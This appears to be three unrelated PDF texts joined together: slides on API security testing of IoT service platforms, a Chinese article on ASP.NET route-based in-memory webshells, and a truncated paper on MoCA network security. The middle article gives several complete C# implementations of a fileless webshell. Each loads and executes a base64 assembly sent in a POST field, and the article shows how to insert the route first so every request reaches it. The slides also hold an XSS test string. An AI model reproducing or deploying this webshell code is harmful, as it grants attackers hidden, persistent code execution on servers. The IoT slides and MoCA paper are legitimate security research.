connectivity status, tracking, SMS exchange, IP data exchange (e.g., ping) ● Applications like smart factory, VR, fleet tracking, vehicle telematics ● billing and data plan management, SIM & credential management, device IP address management, roaming policy control, etc. ● API access roles: API administrator, API user, Developer Example platforms and APIs Service APIs inside IoT Service platform API security for Network Exposure 3GPP Standard (recommended) fundamental security mechanisms for exposure services – Authentication & Authorization (OAuth 2.0) – Confidentiality and integrity protection (TLS) – Privacy – Rate limiting* – Logging and Monitoring* – Guidelines from GSMA1,2 *additional security best-practices 1. GSM Association. Iot security guidelines for network operators version 2.2 https://www.gsma.com/iot/wp-content/uploads/2020/05/CLP.14-v2.2-GSMA-IoT-Security-Guidelines-for-Network-Operators.pdf 2. GSM Association. IoT SECURITY GUIDELINES for IoT Service Ecosystems https://www.gsma.com/iot/wp-content/uploads/2016/02/CLP.12-v1.0.pdf How it works: Get device location Submit credentials for Authentication Receive access token for authorization HTTPS (TLS) security establishment API Request : Device connectivity and location status API Response: Device connectivity and location status API: /auth (username, password) ← "access_token": "AYjcyMzY3ZDhiNmJkNTY", "expires_in": 14400, GET https://1.2.3.4/api/sim/89**28**66**03**35*/status Authorization: Token AYjcyMzY3ZDhiNmJkNTY HTTP/2.0 200 OK "location": { "country": { "latitude": "*", "longitude": "*", "mcc": "2**", "mnc": "*" }, "iccid": "89**28**66**03**35*", "imsi": "2****63281***77", "msisdn": "*81*0*1*9*1*7", "organisation_id": "4977", "operator_name": "********", "sgsn_addr": "4*1.VS*PZ**.epc.mnc*.mcc*.3gpp.org" }, "status": "ONLINE" API user API server Device location updates from VLR and HSS "pdp_context": { "ggsn_ip_addr": "10.70.4.17", "rat_type": { "description": "NB-IoT" }, "sgsn_control_plane_ip_addr": "10.73.4.5", "ue_ip_address": "100.96.15.132" }, Commercial IoT service platform features and configuration - SP: Service platform Type of exposure: See document by NGMN - Credentials: Username + Password - Current network exposure using 4G core (SCEF) HSTS: HTTP Strict-Transport-Security Attack model in service Platforms ● Requirements – business relationship with the operator or service provider (can forge a tax ID) ● authentication credentials to get authenticated and authorized ● access to all service APIs, platform and connectivity management platform ● Goals: obtain data of arbitrary IoT service platform users (industries), compromise server and penetrate into mobile core network via the exposure function ● Privileges: Web/API knowledge Internet, using HTTP(S), remotely-located, use VPN or tor. Industries & Attacker HTTP(S) Security problems with IoT platforms? ● Standard security mechanisms. Are they sufficient ● Business logic flaws targeting IoT applications – Require manual intensive testing ● Web/API Firewalls or security-by-design ● Security scanners and automated testing ● Limited knowledge on attacks on IoT service platforms Our interests in the platform ● Dynamic API security analysis on 9 commercial IoT service platforms – To find vulnerabilities in ● API configuration, input validation, business flow, authentication, access-control, and transport layer security such as encryption. – Select APIs that have high impact on business, reputation ● Billing fraud, DoS, code execution, device hijacking ● Send SMS or IP messages to arbitrary IoT devices, Reset billing and charging counters, APN manipulation, location tracking, device blacklisting – Model a set of Attacks: ● Inject Malicious payloads, strings, characters, files ● Guidelines from OWASP web security testing, REST security cheat sheets ● Tools: Burpsuite, ZAP and other well-known for API testing Ethical considerations ● Only access or manipulate API data corresponding to our own user/admin accounts. ● Only key API parameters (like IMSI,ICCID, APN, Tariff, topup, MSISDN, SMS) per platform are analyzed for vulnerabilities – to avoid traffic towards API platform ● GET/POST/PUT operations are carried out into our own accounts ● We took measures neither to damage the exposure platform nor interrupt the ongoing API services for other verticals/users. ● Clear guessing strategy is applied rather than a random penetration/function testing ● Noisy attacks such as DoS or bruteforce are ignored Design risks in IoT service platforms (9) (access-control, authentication, data exposure) Forged access? Procedure to obtain access to IoT service platforms is vulnerable to a social engineering attack – Attacker registers using a forged company (tax) ID and spoofed email address. Relaxed verification found with many providers – Receives SIM cards to a private(arbitrary) address and also access to service APIs – Now attacker has access to IoT platform cloud and data resources hosted on it – Attacker masquerades as a target company/industry while accessing the platform – Limitless API operations and probing to find vulnerabilities. No rate-limits in many platforms. – Lack of (strict) monitoring and logging facilities are added advantage for attacker – A strict KYC procedure should be implemented by both providers and operators. Username and password policy for API authentication Password creation, update, management are not compliant with GSMA guidelines1,2: – Weak passwords are allowed (such a root, admin, iotadministrator) for credentials – Some don’t allow "few dictionary passwords” and have shortcomings" – Some restrict dictionary passwords during account creation, but allow them during password update – Fix: comply to best password practices * asdf1234, qwer1234, qwerty1234 -> weak password, not allowed * 1qaz2wsx -> top 100 weak password * iotadmin1 -> Set password error : This is similar to a commonly used password * iotuser1 -> Set password error : Add another word or two. Uncommon words are better. * iotuser10, Password1234, Administrator1 -> allowed 1. GSM Association. Iot security guidelines for network operators version 2.2, Section 5.8.4- Secure IoT Connectivity Management Platform https://www.gsma.com/iot/wp-content/uploads/2020/05/CLP.14-v2.2-GSMA-IoT-Security-Guidelines-for-Network-Operators.pdf 2. Referring to section 6.11 of GSMA CLP.12 - Never allow a user to utilize a default, weak, or poorly designed password. https://www.gsma.com/iot/wp-content/uploads/2016/02/CLP.12-v1.0.pdf Token management ● No OAuth based token generation in several platforms, ● Token expiry – Static API token (does not expire), should be revoked for every API user – 24 hours to 1 week ● Fix: Use standard approach of Oauth and JSON web tokens for authorization 1. 3GPP. Security aspects of Machine-Type Communications (MTC) and other mobile data applications communications enhancements. Technical Specification (TS) 33.187. Section 4.7 Requirements on T8 reference point https://www.etsi.org/deliver/etsi_ts/133100_133199/133187/16.00.00_60/ts_133187v160000p.pdf 2. 3GPP. Security aspects of Common API Framework (CAPIF) for 3GPP northbound APIs. Technical Specification (TS) 33.122, 3rd Generation Partnership Project. Lack of rate limiting for API requests Only 2 platforms have rate-limits for API requests – Test: Sending 250/500 valid GET/POST requests in short period – Using same IP address and user account for all requests – No backoff period or IP ban was observed from the API gateway ● Did not receive any HTTP response like : 429 Too Many Requests – Some providers specify rate-limits in user manuals, but in practice they are unavailable – Fix: Rate limiting policies with random/exponential back-off timers Private identifiers used inside IoT domain ICCID, IMEI, and IMSI exposed outside of 3GPP domain (can be SUPI in 5G) – To access/indicate the SIM cards and IoT devices; convenient for developers and API users – Violates 3GPP privacy requirement 1 for Machine type communications using exposure services – Enables user/device enumeration – Fix: an identifier like General Purpose Subscriber Identifier (GPSI2) or other custom identifier. Avoid linking to any identifiers used over the radio interface. ● An alphanumeric proprietary id and its mapping to IMSI is known only to the provider/operator. 1. 3GPP. Security aspects of Machine-Type Communications (MTC) and other mobile data applications communications enhancements. Technical Specification (TS) 33.187. Section 4.7 Requirements on T8 reference point https://www.etsi.org/deliver/etsi_ts/133100_133199/133187/16.00.00_60/ts_133187v160000p.pdf 2. 5G; Procedures for the 5G System (5GS) (3GPP TS 23.502 version 15.4.1 Release 15) Verbose error messages Easy user enumeration via probing with IMSI/ICCID/IMEI – Attacker can find existing and non-existing IMSIs registered on the platform/database from the different API error responses – Fix: The error can be very generic, such as, unauthorized. IMSI doesn’t exist IMSI exist Internal software information exposed Database software information exposed via error messages: Couchbase, Jboss – Platform deployment details are also exposed such cloud provider and etc. – Deprecated TLS versions are negotiable (TLS v1.2/1.0) Internal node exposure APIs leak Core network elements/gateway exposes internal SSH ports/interface – SSH Login attempt are made to an internal IoT node – Forged attacker can launch a bruteforce – Fix: configuration control and reduce exposure Malware propagation inside user plane Allows malicious data1 (popular malware and binaries) – Inside 100 SMS, and IP payload – malware, spam and phishing content is allowed to propagate inside the mobile network and delivered to IoT devices – No spam detection filters – Malware1 can be sent to arbitrary IoT devices with authorization bypass – Operators argue that SMS and data inspection is against law in some countries 1. https://www.kaspersky.com/resource-center/threats/sms-attacks Vulnerabilities in IoT service platforms (5) (authorization, injection and code execution) Broken authorization while sending downlink message IP address not validated for /ping API – The IoT user can send PING message using /ping API to communicate with IoT devices over IP layer. ● User inputs Ipaddress of the target device that is assigned internally by the 4G/5G core – Due to an authorization bug in the platform, an attacker can insert a victim’s IPaddress in the /ping API request and send to the IoT device ● Required that target/victim device is hosted on the same IoT service platform – IoT device responds to ping operation (IPV4) with a ping reply. (upto 200 devices available) – Similarly, port scans can be performed on target device and inject malicious IP packets into the device. – Impact: ● increase data consumption over radio interface, billing and charging to victim’s account ● battery drain for low-powered IoT devices, and eventually a DoS. – Fix: Strict authorization checks for every API parameter/object level. Private details of SIM and customer are exposed over webhook SIM PIN, PUK and subscriber details exposed – While sending SMS using API, the HTTP response sent to a user-defined Webhook (URL) exposes user’s private information ● Private info: Billing details, subscriber plan and many other sensitive details linked to SIM card (identities, PIN1,PIN2, PUK, Opc, SQN, location, HLR ID). ● Providers argue that some business cases require such sensitive information in the response – BGP hijacking1 to steal all the data exposed over a HTTP Webhook – Fix: use only HTTPS webhook, and eliminate sending SIM card private info to customer over the Internet 1. What is bgp hijacking? https://www.cloudflare.com/ko-kr/learning/security/glossary/bgp-hijacking Access control misconfiguration ● Sensitive Data (like SGSN IP address) – Visible to API user in restricted profile (even though view permissions unchecked by administrator) – API manual says sensitive data is accessible only to administrator, but fail to implement in practice – Other parameters may also be affected with access-control bug, but not verified – Discrepancies between API documentation and software implementation. Script Injection ● High probability for a code execution attack – Many parameters accept tampered and malicious inputs – Accepts commands and scripts as API objects ● <script>Alert(123)</script> – This may lead to persistent XSS and injection attacks – The injected values gets stored in backend DB ● Can be called by another backend process ● Or Customer management web application – Fix: strict input sanitization for each and every parameter XSS execution ● Code Injection – Via API on the service platform – e.g., the Alias is an alternate name of the SIM card and can be given as input from the user – Allows script and arbitrary code ● Code Execution – via the IoT connectivity management platform – Alias parameter is shared between both platforms and inject script is triggered on the web interface leading to code execution – With authorization bypass, attacker can inject code into another customer’s platform and trigger it Responsible disclosure ● Responsibly disclosed our findings to the affected IoT service providers and operators ● Received positive acknowledgments and confirmation of the vulnerabilities, and appreciation for our efforts to make the exposure services more secure. ● Operators confirmed that our testing methods never caused any damage to their services and infrastructure. ● Three of the tested service providers indicated that, injection vulnerabilities discovered in our findings remained hidden during their internal penetration testing exercise. ● We do not disclose any of the API and provider/operator names Summary of security analysis ● Oauth and TLS is used in majority of platform (5/9) but not all of them. ● Only 2 out of 9 IoT platforms are not affected with serious vulnerabilities and API risks ● IMSI is exposed outside of 3GPP network, same practice may apply for 5G IMSI (SUPI) ● Lack of rate-limits, strong password policies ● Internal software information and core network IP addresses are exposed ● Authorization vulnerability can destroy the IoT devices and the network ● Script/code injection vulnerability found in many platforms, and is missed when a internal pen-testing ● SMS and IP content inspection is not present in mobile and IoT networks ● Attacker can easily obtain access to IoT service platforms and service APIs with forged identity Security measures ● KYC – strict Know Your Customer check before issue access to IoT service platforms ● Customized API design : limit the number of APIs available for each use-case or business partner – reducing attack surface ● Reduced data exposure over several zones – Private identifiers like IMSI and SUPI should be replaced with random identifiers – Information sent over Webhook, in API responses, and error messages ● Rate limits should be mandatory and smart algorithms to detect malicious behavior ● Strict Input validation and sanitization for each every parameter taken as input from user ● Analytics-based security including logging and real-time monitoring Key takeaways ● Opening new door on mobile networks – strict identity and access control, zero-trust ● Standard Oauth and TLS mechanisms wont help achieve full security ● Insecure API Design/Configuration = risk for mobile core and IoT devices ● Telecom exposure API risks are new: application logic flaws – require rigorous application specific tests (not using general API security scanners) ● Firewalls won’t always help – need security-by-design and testing into CI/CD pipelines ● APIs in Telecom is new and require a Telecom API top 10 to help developers and operators understand the security risks Questions? Concerns? Comments? Write me: ([email protected])
pdf
1 ASP.NET下的内存⻢:Route内存⻢的N种写法 前⾔ System.Web.Routing Route内存⻢ ⾃⼰实现RouteBase GetRouteData GetVirtualPath 优先级 利⽤System.Web.Routing.Route 注⼊RouteHandler 注⼊HttpHandler 路由问题 添加到第⼀位 测试 参考 @yzddmr6 asp.net下的内存⻢研究⽂章⽐较少,⽬前提到过的包括虚拟路径内存⻢以及HttpListener内存⻢。最近 研究了⼀下其他类型的内存⻢,发现.net可以利⽤的地⽅要多得多。所以准备写个系列⽂章,讲⼀讲 asp.net下的内存⻢。 ⽂章仅作研究性质,不保证任何实战效果,请勿⽤于⾮法⽤途。 上篇讲了asp.net mvc下的filter内存⻢,必须依赖于system.web.mvc.dll这个东⻄,也就是只能在.net mvc下使⽤。那么如何仅利⽤.net framework⾥⾯的dll来实现新的内存⻢呢。这就引出了今天讲的route 内存⻢。 System.Web.Routing这个类最早出现在.net 3.5,主要⽤于在 ASP.NET 应⽤程序中处理路由。 前⾔ System.Web.Routing 2 微软⽂档介绍: 如果我们能够动态打进去⼀个路由,然后映射到我们⾃定义的类,即可实现内存⻢的效果。 那么如何添加呢?我们上⼀篇⽂章看到了在mvc中是存在⼀个GlobalFilters.Filters来存放filter,第⼆个 RouteTable.Routes便是存放全局route的collection。 这⾥提⼀嘴为啥不能直接⽤mvc下⾯的RouteConfig.RegisterRoutes来注册route 点进函数可以看到调⽤了System.Web.Mvc.RouteCollectionExtensions.MapRoute⽅法,⽽这个⽅法 也是要依赖System.Web.Mvc.dll的。所以不能直接拿来⽤。 Route内存⻢ C++ 复制代码 Route类使你可以指定如何在 ASP.NET 应⽤程序中处理路由。 你 Route 为要映射到的每个 URL 模式创建⼀个对象,该对象可以处理与该模式对应的请求。 然后,将路由添加到 Routes 集合。 当 应⽤程序收到请求时,ASP.NET 路由会循环访问集合中的路由, Routes 以查找第⼀个与 URL 模 式匹配的路由。 将 Url 属性设置为 URL 模式。 URL 模式由传⼊ HTTP 请求中的应⽤程序名称后⾯的段组成。 例如,在 URL 中 http://www.contoso.com/products/show/beverages ,模式适⽤于 products/show/beverages 。 具有三个段(如)的模式 {controller}/{action}/{id} 与 URL 匹配 http://www.contoso.com/products/show/beverages 。 每个段均由 / 字符分 隔。 当段括在⼤括号中 ({ 和 }) 时,段会被称为 URL 参数。 ASP.NET 路由从请求中检索值并 将其分配给 URL 参数。 在上⾯的示例中,将为 URL 参数 action 分配值 show 。 如果段未括 在⼤括号中,则该值将被视为⽂本值。 将 Defaults 属性设置为⼀个 RouteValueDictionary 对象,该对象包含在 url 缺少参数时 使⽤的值,或者设置未在 url 中参数化的其他值。 将 Constraints 属性设置为 RouteValueDictionary 包含正则表达式或对象的值的对象 IRouteConstraint 。 这些值⽤于 确定参数值是否有效。 1 2 3 4 5 C++ 复制代码    public class MvcApplication : System.Web.HttpApplication   {        protected void Application_Start()       {            AreaRegistration.RegisterAllAreas();            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);            RouteConfig.RegisterRoutes(RouteTable.Routes);            BundleConfig.RegisterBundles(BundleTable.Bundles);       }   } 1 2 3 4 5 6 7 8 9 10 3 ⼀路寻找重载,发现实际上就是给RouteTable.Routes⾥⾯增加了⼀个元素,我们直接调⽤route.Add即 可。 System.Web.Routing.RouteCollection.Add第⼀个参数是名字,不过没有太⼤⽤处,只是为了判断map ⾥⾯有没有重复的。第⼆个参数是重点,要打进去⼀个RouteBase类型的item。RouteBase是个抽象 类,默认的实现为System.Web.Routing.Route。 这⾥就有不同的操作⽅式了,第⼀种是⾃⼰实现⼀个RouteBase,第⼆种是new⼀个 System.Web.Routing.Route对象。 ⾃⼰实现RouteBase C++ 复制代码    public class RouteConfig   {        public static void RegisterRoutes(RouteCollection routes)       {            routes.IgnoreRoute("{resource}.axd/{*pathInfo}");            routes.MapRoute(                name: "Default",                url: "{controller}/{action}/{id}",                defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }           );       }   } 1 2 3 4 5 6 7 8 9 10 11 12 4 继承RouteBase需要实现两个⽅法: 这个点是最容易想到的点,beichen师傅在kcon的演讲中也是⽤的这个函数。改写GetRouteData⽅法, ⾥⾯加⼊我们的shell逻辑即可。这⾥HttpContextBase是个抽象类,具体的实现是 HttpContextWrapper,需要⽤到反射来获取我们需要的request跟response。 这⾥注意⼀定要加HttpResponse.End(),具体原因⼤家可以思考⼀下。 GetRouteData GetRouteData(HttpContextBase) 在派⽣类中重写时,返回关于请求的路由信息。 GetVirtualPath(RequestContext, RouteValueDictionary) 在派⽣类中重写时,检查路由是否与指定的值匹 配,如果匹配,则⽣成 URL,并检索有关该路由 的信息。 5 后来⼜研究了⼀下beichen演讲的ppt,把ppt⾥⾯的代码⽤显微镜放⼤看,发现⾃⼰当时写的麻烦了。 直接⽤HttpContext.Current就可以获取当前的Context对象,传⼊Equals⾥即可,这是第⼀种写法。 C++ 复制代码 public class MyRoute : RouteBase   {        public override RouteData GetRouteData(HttpContextBase httpContext)       {            String Payload = httpContext.Request.Form["ant"];            if (Payload != null)           {                FieldInfo requestField =                    typeof(HttpRequestWrapper).GetField("_httpRequest", BindingFlags.Instance | BindingFlags.NonPublic);                HttpRequest httpRequest = (HttpRequest)requestField.GetValue(httpContext.Request);                FieldInfo responseField =                    typeof(HttpResponseWrapper).GetField("_httpResponse",                        BindingFlags.Instance | BindingFlags.NonPublic);                HttpResponse httpResponse = (HttpResponse)responseField.GetValue(httpContext.Response);                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(new object[] { httpRequest, httpResponse });                httpResponse.End();           }            return null;       }        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)       {            return null;       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 6 其实⽤GetVirtualPath也是可以注⼊我们的逻辑的,这是第⼆种写法。 GetVirtualPath C++ 复制代码 public class MyRoute : RouteBase   {        public override RouteData GetRouteData(HttpContextBase httpContext)       {       HttpContext context = HttpContext.Current;            String Payload = httpContext.Request.Form["ant"];            if (Payload != null)           {                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(context);                context.Response.End();           }            return null;       }        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)       {            return null;       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 7 那么到底哪个函数会更先被调⽤呢?我在两个函数,以及Controller⾥分别加了⼀条打印的语句。 优先级 C++ 复制代码 public class MyRoute : RouteBase   {        public override RouteData GetRouteData(HttpContextBase httpContext)       {            return null;       }        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)       {            HttpContext context = HttpContext.Current;            String Payload = context.Request.Form["ant"];            if (Payload != null)           {                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(context);                context.Response.End();           }            return null;       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 8 发现顺序是 GetRouteData>Controller>GetVirtualPath,所以还是GetRouteData⽐较好⽤。 另⼀种做法就是沿着现有实现类Route的逻辑来⾛。 、 他的构造类需要两个参数,第⼀个是url pattern,第⼆个是对应的处理handler。 实现IRouteHandler接⼝需要实现GetHttpHandler⽅法,需要返回⼀个实现了IHttpHandler的handler 这⾥其实⼜有不同的操作了,内存⻢的本质是我们把恶意的代码注⼊到了⼀个每次Web请求都会触发的 地⽅。 所以我们既可以在RouteHandler中添加恶意逻辑,也可以在实现的HttpHandler⾥加恶意逻辑。 利⽤System.Web.Routing.Route 注⼊RouteHandler 9 报错不影响连接,如果有强迫症可以实现⼀个空的IHttpHandler。 主要逻辑在ProcessRequest⾥,这是第四种写法 注⼊HttpHandler C++ 复制代码    public class MyRoute : IRouteHandler   {        public IHttpHandler GetHttpHandler(RequestContext requestContext)       {            HttpContext context = HttpContext.Current;            String Payload = context.Request.Form["ant"];            if (Payload != null)           {                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(context);                context.Response.End();           }            return null;       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 10 ⽂档:https://docs.microsoft.com/zh-cn/dotnet/api/system.web.routing.route.url? view=netframework-3.5#System_Web_Routing_Route_Url 路由问题 C++ 复制代码 public class MyRoute : IRouteHandler   {        public IHttpHandler GetHttpHandler(RequestContext requestContext)       {            return new Myhandler(requestContext);       }   }    public class Myhandler : IHttpHandler   {        public RequestContext RequestContext { get; private set; }        public Myhandler(RequestContext context)       {            this.RequestContext = context;       }        public void ProcessRequest(HttpContext context)       {            String Payload = context.Request.Form["ant"];            if (Payload != null)           {                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(context);                context.Response.End();           }            context.Response.End();       }        public bool IsReusable       {            get { return false; }       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 11 Route的URL默认没有正则,不能像java⼀样直接指定/*,但是可以⽤{xxx}来表示任意变量 在此为了不影响业务,我们选择⼀个只有⾃⼰知道的开头的字符串 这样任意/mr6xxxxx 都可以连接。 跟mvc的filter不同的是,Route的add⽅法没有order参数的选项,所以依然要考虑如何把我们的shell添 加到第⼀位的问题。 RouteCollection本质是个Collection,所以只需要调⽤Insert⽅法,并且指定位置为0即可把我们的shell 添加到第⼀位。 ⾄此我们的内存⻢⼤业就算完成了。 访问注⼊内存⻢的aspx,⼀⽚空⽩说明注⼊成功 蚁剑中输⼊任意url,连接成功。 添加到第⼀位 测试 C++ 复制代码 将值分配给 Url 属性时,在 / 分析 URL 时,字符被解释为分隔符。 使⽤⼤括号 ({}) 来定义称 为 URL 参数的变量。 将 URL 中的匹配段的值分配给 URL 参数。 Url未括在⼤括号中的属性中的 任何值都将被视为⽂本常量。 ?不允许在属性中使⽤该字符 Url 。 必须通过分隔符或⽂本常量分隔每个 URL 段。 可以将 {{ 或 }} ⽤作⼤括号字符的转义符。 1 2 C++ 复制代码 new Route("mr6{page}", new MyRoute()) 1 C++ 复制代码 RouteCollection routes = RouteTable.Routes; routes.Insert(0, (RouteBase)new MyRoute()); 1 2 12 https://docs.microsoft.com/zh-cn/dotnet/api/system.web.routing.route?view=netframework- 3.5 https://www.cnblogs.com/liangxiaofeng/p/5619866.html https://www.programminghunter.com/article/8505151604/ https://github.com/knownsec/KCon/blob/master/2021/%E9%AB%98%E7%BA%A7%E6%94% BB%E9%98%B2%E6%BC%94%E7%BB%83%E4%B8%8B%E7%9A%84Webshell.pdf 参考
pdf
Media over Coaxial Alliance (MoCA): Operation and Security Posture Andrew Hunt Volgeneau School of Engineering,George Mason University Fairfax, VA [email protected] Abstract— Media over Coax Alliance (MoCA) is a protocol specification to enable assured high-bandwidth connections for the high demands of voice, video, and high-speed data connections – the  ‘triple  play.’  Verizon,  Cox,  Comcast,  and  many   other service providers have adopted MoCA as the de facto networking technology used to provide in-home broadband services. This paper reviews MoCA and its common implementations, assessing vulnerabilities that are presented by the protocol and its use. I. INTRODUCTION MoCA is a MAC/PHY specification that allows the use of Ethernet and video protocols over coaxial wiring common to most domiciles[1]. Supported by an alliance of industry partners, it   also   enables   the   connection   of   the   “last   mile”   network distribution topologies to the home via FIOS (fiber- optic), cable, or satellite delivery methods. MoCA protocols enable devices with on-board protocol support, such as DVRs and Media Center computers, to connect to the in-home network provided by the cable-modem router, e.g. an ActionTec wireless coaxial router [2]. The router serves as an uplink to bridge the incoming MoCA Wide Area Network (WAN) signal from the satellite dish, optical network terminator (ONT) or cable distribution node with the in-home MoCA LAN signals [3]. This enables the router to support the concept   of   ‘triple   play’:   video,   voice,   and   data provision directly from the provider over Ethernet, wireless, and MoCA networking services within the home [4]. II. OPERATION A. MoCA in the Home MoCA acts as a direct bridging technology, converting Ethernet (802.3) data, video and satellite signals to assigned channels over the coaxial cabling [5]. The physical layer (PHY) utilizes a 50MHz-wide, orthogonal frequency division multiplex (OFDM) signalled channel, seven of which are defined between bands 875MHz and 1550 MHz [6]. The channels support large packets (>1500 bytes) and use a Reed- Solomon forward error correction algorithm to ensure packet integrity [7]. The availability of bandwidth and error correction features allow for reliable signalling between nodes, even across multiple line splitters which may introduce reflective interference to the signal transmission. Atop the PHY, the media access control layer (MAC) provides a distributed mesh architecture via time division multiple access (TDMA), managed by a fully-scheduled access scheme. This allows up to eight nodes to reliably address one another within the coaxial bus without the need for collision negotiation. Channel and transmission negotiation is handled by an automatically selected Node Controller (NC). Reliability for the network is assured by the selection of a backup node controller that intervenes in the event of a delay from the primary NC. MAC polling from the NC every ten milliseconds ensures node registration on the network, channel availability, and priority of the transmission frames upon the entire coaxial network, allowing the implementation of Parameterized Quality of Service (pQoS) features [6][8]. Provision at speeds of at least 60 Mbps is critical for the reliable delivery of voice and video services for the high- demand, low latency requirements of high-definition entertainment [6]. Via the polling scheme used, the minimum transmission rate of the network can be guaranteed at certain rates depending upon the available bandwidth of the PHY. The following table describes how PHY bandwidth affects minimum MAC transmission rates. This indicates how a provider may use MoCA packet scheduling to calculate the delivery and prioritization of services. Table 1: Minimum MAC Rate as a Function of PHY Rate[5] PHY Rate (Mbps) Minimum MAC Rate (Mbps) ≥275 139.87 250 130.78 225 119.45 200 107.74 175 95.64 150 81.98 125 68.32 100 54.65 75 39.82 As indicated above, a standard 100 Mbps Ethernet interface could be provided a minimum of 54.65 Mbps of service over the MoCA network. The Ethernet frames are encapsulated by the MoCA MAC frame transmissions using the a process defined in the MoCA specification as the Ethernet Convergence Layer (ECL) [6]. Nodes on the MoCA network must have an 802.3 ECL device (a.k.a. network bridge) either on-board (e.g. ActionTec router, DVR, ONT) or through an interfacing device, such as a MoCA Coaxial-to-RJ45 bridge. Because MoCA encapsulates the Ethernet frame from one end of the MoCA network to the other, the bridge is invisible to the connected Ethernet device. The MoCA specification further details categories of devices. The devices may be provided by the Operational Service Provider (OSP) or a third party vendor (non-OSP). The table below defines the categories and common device types. Table 2: MoCA Categories and Device Descriptions[6] MoCA Category Function Provided by Example Device Terminal Sources or sinks content OSP ONT Intermediate Bridge user content between MoCA network and standard interfacing device (Ethernet/USB) OSP, Non-OSP ActionTec router, DVR, MoCA-to- Ethernet Bridge As MoCA is designed to patch physically separated Ethernet-capable devices together, it passes all Ethernet frames over its network to other devices. This includes all Open Systems Interconnect (OSI) model layers at the encapsulated link layer and above [8, pp. 52-53]. Thus, Dynamic Host Configuration Protocol (DHCP), Domain Name System (DNS), Hyper Text Transfer Protocol (HTTP) and other higher-level application services are all moved transparently by the MoCA network, as if they were one Ethernet domain. Table 3: MoCA Related to the OSI Model OSI Layer Origin MoCA Terminus 1 Fiber, RJ-45 jack, ISM Radio, USB device Coaxial Cable Fiber, RJ-45 jack, ISM Radio, USB device 2 Ethernet frame, Wi-Fi frame, ARP MoCA node Ethernet frame, Wi-Fi frame, ARP 3-6 IP datagram, TCP/UDP packet Router, Firewall 7 HTTP, DNS, DHCP, SMTP, Skype, SIP, Video streaming Application proxy, DNS Cache, Application server, Cloud services MoCA specifies a feature called Link Privacy. It is a link layer encryption feature based on 56-bit DES and rotating traffic keys [9]. For the feature to work, the privacy passcode must be preconfigured before each node can register with the MoCA network. B. MoCA for the OSP In addition to providing Ethernet bridging to user-facing intermediate devices, providers utilize their provided routers to establish two MoCA root nodes as the base for two MoCA networks. The two roots are virtual devices that are bound to a single physical adapter and coaxial cable. As indicated in the previous section, one MoCA network and its set of related channels provides connectivity between nodes providing the local services to the user. This is configured as the MoCA Local Area Network (LAN). The OSP typically configures a second MoCA network via the second MoCA root node and its related channels, different than the first set, to talk directly with the ONT. The ONT converts the MoCA signal back to Ethernet and forwards the frame as light back to the OSP [3]. Due to the fragility of optical cabling, flexing a fiber optic cable through a hole in the   domicile’s   exterior   wall   is   not   a   desired   deployment   method. Locating the ONT close to the point where the fiber optic cable comes out of its underground encasement is preferable. Thus the ONT is attached to the outside of the home in a weather-proof box [10][11]. A more robust coaxial cable is then run from the ONT to the home splitter. The main splitter  is  also  typically  located  on  the  home’s  exterior  as the OSP installs the   home’s   coaxial   cabling   during the first installation of services to the domicile. Locating the connections and splitter at the exterior utility point of presence reduces maintenance efforts for the OSP. Figure 1: Diagram of Verizon FIOS Optical Network Terminator [12] This second MoCA network carries the backhaul traffic between the router and the OSP, thus is called the MoCA Wide Area Network (WAN). Since this network provides only the uplink between two nodes – the router and the ONT – it can eliminate polling overhead and optimize MAC speed conditions to provide a higher bandwidth guarantee for the uplink. III. SECURITY ASSESSMENT To assess the security of the MoCA protocol, aspects of design, deployment, and accessibility were considered. Previous work on the topic of securing Verizon’s   deployed   architectures were consulted and equipment was procured to access the MoCA layer for testing [13][14]. The ActionTec MI424WR router used for testing supports many interfaces, including wireless, Ethernet, and MoCA. Figure 2: ActionTec MI424WR router connections A comparison was done on these communications form factors to scope the assessment. A. Scope 1) Wireless Verizon deploys its ActionTec routers with a random 8- character SSID. While the pseudo-random alphanumeric pattern is easy to recognize, it is also deployed with WPA-2 Personal (PSK) enabled. This does not preclude access via a wireless compromise, but significantly raises the level of investment for the attacker over prior WEP-only deployments used with earlier versions of the router. With many other resources available that address compromising wireless cryptographic implementations, this avenue was not pursued for this study [15]. 2) Ethernet Originally released in 1987, the commonly used 10- and 100-Base-T Ethernet protocols have had many resources devoted to penetrating, manipulating, and modifying them [16]. As a wired medium with a connectivity range of 100 meters and typically not wired outside the home, an attacker would need to get physical access to the network within the home. While not able to be attacked directly without these accesses, the MoCA layer, as a bridging protocol for Ethernet, presents situations that enable this class of attack. 3) Fiber The fiber optic cabling from the ONT attached to the home runs underground to the local neighborhood optic hub. Without special equipment, accessing the data flowing over the cabling would be impossible. The fiber cable itself is also quite fragile, so manipulating it could break the line, leaving evidence of mishandling. Having neither the equipment or desire to damage the setup, accessing the optical cable was not considered for this assessment. 4) MoCA OSPs typically  install  the  domicile’s  coaxial  cabling  on  the   first contracting for service. To ease installation and later maintenance, these RC6-grade coaxial cables are run up to 500 feet from their termination point, typically the MoCA router or a DVR, through the household walls or attic to the exterior provider point-of-presence [17]. The cables are then hubbed with a high-frequency (>1GHz) 